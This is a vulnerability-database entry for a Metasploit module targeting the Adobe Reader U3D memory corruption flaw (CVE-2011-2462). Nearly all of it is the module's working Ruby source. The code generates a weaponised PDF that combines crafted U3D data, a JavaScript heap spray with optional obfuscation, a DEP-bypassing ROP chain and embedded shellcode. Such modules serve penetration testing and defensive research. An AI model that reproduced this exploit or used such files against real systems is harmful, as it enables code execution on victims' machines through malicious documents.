Adobe Reader U3D Memory Corruption Vulnerability

2012-01-04T09:49:49
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/ADOBE_READER_U3D
Type metasploit
Reporter Rapid7
Modified 2020-01-15T01:47:27

Description

This module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader. The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory used by the invalid pointer issue is controlled.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe Reader U3D Memory Corruption Vulnerability',
      'Description'    => %q{
          This module exploits a vulnerability in the U3D handling within
        versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
        The vulnerability is due to the use of uninitialized memory.

        Arbitrary code execution is achieved by embedding specially crafted U3D
        data into a PDF document. A heap spray via JavaScript is used in order to
        ensure that the memory used by the invalid pointer issue is controlled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Felipe Andres Manzano',  #Original poc (@feliam)
          'sinn3r',
          'juan vazquez',
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE', '2011-2462' ],
          [ 'OSVDB', '77529' ],
          [ 'BID', '50922' ],
          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
          [ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],
          [ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], #Original PoC
          [ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'         => 1000,
          'BadChars'      => "\x00",
          'DisableNops'   => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            # Adobe Reader 9.4.0 / XP SP3
            # Adobe Reader 9.4.5 / XP SP3
            # Adobe Reader 9.4.6 / XP SP3
            'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
            {
              # gadget from icucnv36:
              # mov ecx,dword ptr [eax+3Ch]
              # mov eax,dword ptr [ecx]
              # call dword ptr [eax+1Ch]
              'Ret' => 0x4a8453c3
            }
          ],
        ],
      'DisclosureDate' => 'Dec 06 2011', #Needs to be checked
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ])

  end

  def junk(n=1)
    tmp = []
    value = rand_text(4).unpack("L")[0].to_i
    n.times { tmp << value }
    return tmp
  end

  def exploit
    # DEP bypass; uses icucnv36.dll
    stack_data = [
      junk,
      0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
      0x0c0c0c0c, # becomes esi
      0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
      0x4a8a0000, # becomes edi
      0x4a802196, # becomes esi
      0x4a801f90, # becomes ebp
      0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
      0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
      junk(4),
      0x00000000, # becomes edi
      0x00000002, # becomes esi
      0x00000102, # becomes ebp
      0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
      junk(5),
      0x4a80a8a6, # becomes edi
      0x4a801f90, # becomes esi
      0x4a849038, # becomes ebp
      0x4a8063a5, # pop ecx / ret
      junk(5),
      0x4a8a0000, # becomes ecx
      0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
      0x4a801f90, # pop eax / ret
      0x4a84903c, # becomes eax (import for CreateFileA)
      0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
      0x4a801064, # ret for CreateFileA # ret
      0x00000000, # __in      LPCTSTR lpFileName
      0x10000000, # __in      DWORD dwDesiredAccess
      0x00000000, # __in      DWORD dwShareMode
      0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpSecurityAttributes
      0x00000002, # __in      DWORD dwCreationDisposition
      0x00000102, # __in      DWORD dwFlagsAndAttributes
      0x00000000, # __in_opt  HANDLE hTemplateFile
      0x4a8063a5, # pop ecx / ret
      0x4a801064, # becomes ecx
      0x4a842db2, # xchg eax, edi / ret
      0x4a802ab1, # pop ebx / ret
      0x00000008, # becomes ebx
      0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
      0x4a801f90, # pop eax / ret
      0x4a849038, # becomes eax (import for CreateFileA)
      0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
      0x4a801064, # ret for CreateFileMappingA # ret
      0xffffffff, # __in      HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
      0x00000000, # __in_opt  LPSECURITY_ATTRIBUTES lpAttributes,
      0x00000040, # __in      DWORD flProtect,
      0x00000000, # __in      DWORD dwMaximumSizeHigh,
      0x00010000, # __in      DWORD dwMaximumSizeLow,
      0x00000000, # __in_opt  LPCTSTR lpName
      0x4a8063a5, # pop ecx / ret
      0x4a801064, # becomes ecx
      0x4a842db2, # xchg eax, edi / ret
      0x4a802ab1, # pop ebx / ret
      0x00000008, # becomes ebx
      0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
      0x4a801f90, # pop eax / ret
      0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
      0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
      0x4a801064, # ret for MapViewOfFile # ret
      0xffffffff, # __in  HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
      0x00000022, # __in  DWORD dwDesiredAccess
      0x00000000, # __in  DWORD dwFileOffsetHigh
      0x00000000, # __in  DWORD dwFileOffsetLow
      0x00010000, # __in  SIZE_T dwNumberOfBytesToMap
      0x4a8063a5, # pop ecx / ret
      0x4a8a0004, # becomes ecx
      0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
      0x4a8063a5, # pop ecx / ret
      0x4a801064, # becomes ecx
      0x4a842db2, # xchg eax, edi / ret
      0x4a802ab1, # pop ebx / ret
      0x00000030, # becomes ebx
      0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
      0x4a801f90, # pop eax / ret
      0x4a8a0004, # becomes eax {Result of MapViewOfFile}
      0x4a80a7d8, # mov eax,dword ptr [eax] / ret
      0x4a8063a5, # pop ecx / ret
      0x4a801064, # becomes ecx
      0x4a842db2, # xchg eax, edi / ret
      0x4a802ab1, # pop ebx / ret
      0x00000020, # becomes ebx
      0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
      0x4a8063a5, # pop ecx / ret
      0x4a801064, # becomes ecx
      0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret
      0x4a801f90, # pop eax / ret
      0x00000034, # becomes eax # mapped at 0c0c0d8c
      0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)
      0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
      0x4a801064, # becomes ecx
      0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
      0x4a802ab1, # pop ebx / ret
      0x0000000a, # becomes ebx
      0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
      0x4a801f90, # pop eax / ret
      0x4a849170, # becomes eax (import for MSVCR80!memcpy)
      0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
      0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile
      0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile
      0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain
      0x00001000  # length (memcpy param)
    ].flatten.pack('V*')

    payload_buf = ''
    payload_buf << stack_data
    payload_buf << payload.encoded
    escaped_payload = Rex::Text.to_unescape(payload_buf)

    eip_ptr =
    [
      junk(3),
      target.ret, # EIP
      junk(7),
      0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot
      junk(16),
    ].flatten.pack('V*')

    escaped_eip = Rex::Text.to_unescape(eip_ptr)

    js = <<-JS

    var padding;
    var bbb, ccc, ddd, eee, fff, ggg, hhh;
    var pointers_a, i;
    var x = new Array();
    var y = new Array();

    function alloc(bytes) {
      return padding.substr(0, (bytes - 6) / 2);
    }

    function spray_eip(esc_a) {
      pointers_a = unescape(esc_a);
      for (i = 0; i < 2000; i++) {
        x[i] = alloc(0x8) + pointers_a;
        y[i] = alloc(0x88) + pointers_a;
        y[i] = alloc(0x88) + pointers_a;
        y[i] = alloc(0x88) + pointers_a;
      }
    };

    function spray_shellcode() {
      bbb = unescape('#{escaped_payload}');
      ccc = unescape("%u0c0c");
      ccc += ccc;

      while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;

      i1 = 0x0c0c - 0x24;
      ddd = ccc.substring(0, i1 / 2);

      ddd += bbb;
      ddd += ccc;

      i2 = 0x4000 + 0xc000;
      eee = ddd.substring(0, i2 / 2);

      for (; eee.length < 0x40000 + 0x40000;) eee += eee;

      i3 = (0x1020 - 0x08) / 2;
      fff = eee.substring(0, 0x80000 - i3);

      ggg = new Array();

      for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
    }

    padding = unescape("#{escaped_eip}");
    while (padding.length < 0x10000)
    padding = padding + padding;

    spray_shellcode();
    spray_eip('%u4141');

    this.pageNum = 2;
    JS

    js = js.gsub(/^ {4}/,'')

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    u3d = make_u3d_stream
    xml = make_xml_data
    pdf = make_pdf(u3d, xml, js.to_s)
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create(pdf)
  end

  def make_xml_data
    xml = %Q|<?xml version="1.0" encoding="UTF-8"?>
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
    <ed>kapa</ed>
    <config xmclns="http://www.microsoft.org/schema/xci/2.6/">
    <present>
    <pdf>
    <version>1</version>
    <fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>
    <interactive>1</interactive>
    </pdf>
    </present>
    </config>
    <template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
    <subform name="form1" layout="tb" locale="en_US">
    <pageSet>
    </pageSet>
    </subform>
    </template>
    <template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
    <subform name="form1" layout="tb" locale="en_US">
    <pageSet>
    </pageSet>
    </subform>
    </template1>
    <template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
    <subform name="form1" layout="tb" locale="en_US">
    <pageSet>
    </pageSet>
    </subform>
    </template2>
    </xdp:xdp>|

    xml = xml.gsub(/^ {4}/, '')
    return xml
  end

  def u3d_pad(str, char="\x00")
    len = str.length % 4
    if (len > 0)
      #puts "Adding %d pad bytes" % (4 - len)
      return (char * (4 - len))
    end
    ""
  end

  def u3d_string(str)
    ([str.length].pack('v') + str)
  end

  def make_u3d_stream()
    #
    # REFERENCE:
    # http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
    # The File format consists of these blocks:
    # [File Header Block][Declaration Block][Continuation Block]
    # Each block consists of (padding is used to keep fields 32-bit aligned):
    # [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
    #
    mc_name = u3d_string("CCCCBox01")
    mr_name = u3d_string("Box01RX")

    # build the U3D header (length will be patched in later)
    hdr_data = [0,0].pack('n*') # version info
    hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34

    hdr = "U3D\x00"
    hdr << [hdr_data.length,0].pack('VV')
    hdr << hdr_data

    parent_node_data =
      "\x01\x00\x00\x00"+ # node count (1)
      "\x00\x00"+         # name (empty)
      # transform matrix
      [0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')


    model_node_data = ""
    model_node_data << mc_name
    model_node_data << parent_node_data
    model_node_data << mr_name
    model_node_data << [1].pack('V') # Model Visibility (Front visible)
    model_node = [0xffffff22,model_node_data.length,0].pack('VVV')
    #model_node = [0xffffff22,0x5e,0].pack('VVV')
    model_node << model_node_data

    bone_weight_data = ""
    bone_weight_data << mc_name
    bone_weight_data << [
      1,          # Chain index
      1,          # Bone Weight Attributes (for a mesh)
      0x3162123b, # Inverse Quant
      0x14,       # Position Count
    ].pack('VVNV')
    # Position List
    bone_weight_data << [
      # 1
      1,          # Bone Weight Count
      3,          # Bone Index (no Quantized Weight)
      # 2
      0x55550000, # Bone Weight Count
      0x4c1df36e, # Bone Index
      0x0200d002, # Quantized Weight
      # 3
      0x95000074, # Bone Weight Count
      0x66ccc357, # Bone Index
      0x00000000  # Quantized Weight
    ].pack('VVNNNNNN')
    bone_weight = [0xffffff44,0x3a,0].pack('VVV')
    # We hardcode the length to match the old file.. (TODO: test if necessary)
    #bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
    bone_weight << bone_weight_data

    new_objtype1_data =
      "\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+
      "\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+
      "\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
    #new_objtype1 = [0xffffff16,0x38,0].pack('VVV')
    new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')
    new_objtype1 << new_objtype1_data

    shading_modifier_data = ""
    shading_modifier_data << mc_name
    shading_modifier_data <<
      "\x02\x00\x00\x00\x00\x00\x00\x00\x01"+
      "\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"
    #shading_modifier = [0xffffff45,0x23,0].pack('VVV')
    shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')
    shading_modifier << shading_modifier_data

    new_objtype2_data =
      "\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+
      "\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+
      "\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
    #new_objtype2 = [0xffffff16,0x30,0].pack('VVV')
    new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')
    new_objtype2 << new_objtype2_data

    nodemod_decl = ""
    nodemod_decl << model_node
    nodemod_decl << u3d_pad(nodemod_decl)
    nodemod_decl << bone_weight
    nodemod_decl << u3d_pad(nodemod_decl)
    nodemod_decl << new_objtype1
    nodemod_decl << u3d_pad(nodemod_decl)
    nodemod_decl << shading_modifier
    nodemod_decl << u3d_pad(nodemod_decl)
    nodemod_decl << new_objtype2
    nodemod_decl << u3d_pad(nodemod_decl)

    nodemod_decl <<
    # another modifier chain?
    "\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+
    "\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
    "\x00\x00"+
    # clod mesh generator (declaration)
    "\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+
    "\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+
    "\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+
    "\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+
    "\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+
    "\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+
    "\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+
    "\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00"+
    # clod mesh generator (progressive mesh cont)
    "\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+
    "\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+
    "\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+
    "\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+
    "\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+
    "\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+
    "\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+
    "\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+
    "\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+
    "\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+
    "\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+
    "\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+
    "\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+
    "\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+
    "\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+
    "\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"

    # build the modifier chain
    chain_data = ""
    chain_data << mc_name
    chain_data << [0].pack('V') # type (node modifier)
    chain_data << [0].pack('V') # attributes (no bounding info)
    chain_data << u3d_pad(chain_data)
    chain_data << [0x5].pack('V') # number of modifiers
    chain_data << nodemod_decl
    #modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes
    modifier_chain = [0xffffff14,0x17c,0].pack('VVV')
    modifier_chain << chain_data

    data = ""
    data << hdr
    data << modifier_chain

    data
  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj\n" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def make_pdf(u3d_stream, xml, js_doc)
    xref = []
    eol = "\x0a"
    obj_end = "" << eol << "endobj" << eol

    # the header
    pdf = "%PDF-1.7" << eol

    # filename/comment
    pdf << "%" << random_non_ascii_string(4) << eol

    email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"
    site  = rand_text_alpha(5) + ".com"
    xref << pdf.length
    pdf << io_def(1)
    pdf << "<</Author (Fo)/email (#{email})/web (site)>>"
    pdf << obj_end

    compressed_xml = Zlib::Deflate.deflate(xml)
    xref << pdf.length
    pdf << io_def(2)
    pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol
    pdf << "stream" << eol
    pdf << compressed_xml << eol
    pdf << "endstream"
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(3)
    pdf << "<</XFA " << io_ref(2) << ">>"
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(4)
    pdf << "<</Type/Catalog/Outlines " << io_ref(5)
    pdf << " /Pages " << io_ref(6)
    pdf << " /OpenAction " << io_ref(14)
    pdf << " /AcroForm " << io_ref(3)
    pdf << ">>"
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(5) << "<</Type/Outlines/Count 0>>"
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(6)
    pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [io_ref(13), io_ref(9), io_ref(12)]
    pdf << obj_end

    data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"
    compressed_data = Zlib::Deflate.deflate(data)
    xref << pdf.length
    pdf << io_def(7)
    pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol
    pdf << "stream" << eol
    pdf << compressed_data << eol
    pdf << "endstream"
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(8)
    pdf << "<</ProcSet [/PDF]>>"
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(9)
    pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
    pdf << obj_end

    compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
    xref << pdf.length
    pdf << io_def(10)
    pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol
    pdf << "stream" << eol
    pdf << compressed_u3d << eol
    pdf << "endstream"
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(11)
    pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"
    pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %io_ref(10)
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(12)
    pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [io_ref(6), io_ref(7), io_ref(8), io_ref(11)]
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(13)
    pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
    pdf << obj_end

    xref << pdf.length
    pdf << io_def(14)
    pdf << "<</S/JavaScript/JS %s>>" %io_ref(15)
    pdf << obj_end

    compressed_js = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
    xref << pdf.length
    pdf << io_def(15)
    pdf << "<</Length " <<  compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"
    pdf << "stream" << eol
    pdf << compressed_js << eol
    pdf << "endstream"
    pdf << obj_end

    # xrefs
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end

    # trailer
    pdf << "trailer" << eol
    pdf << "<</Size %d/Root " % (xref.length + 1) << io_ref(4) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol
  end
end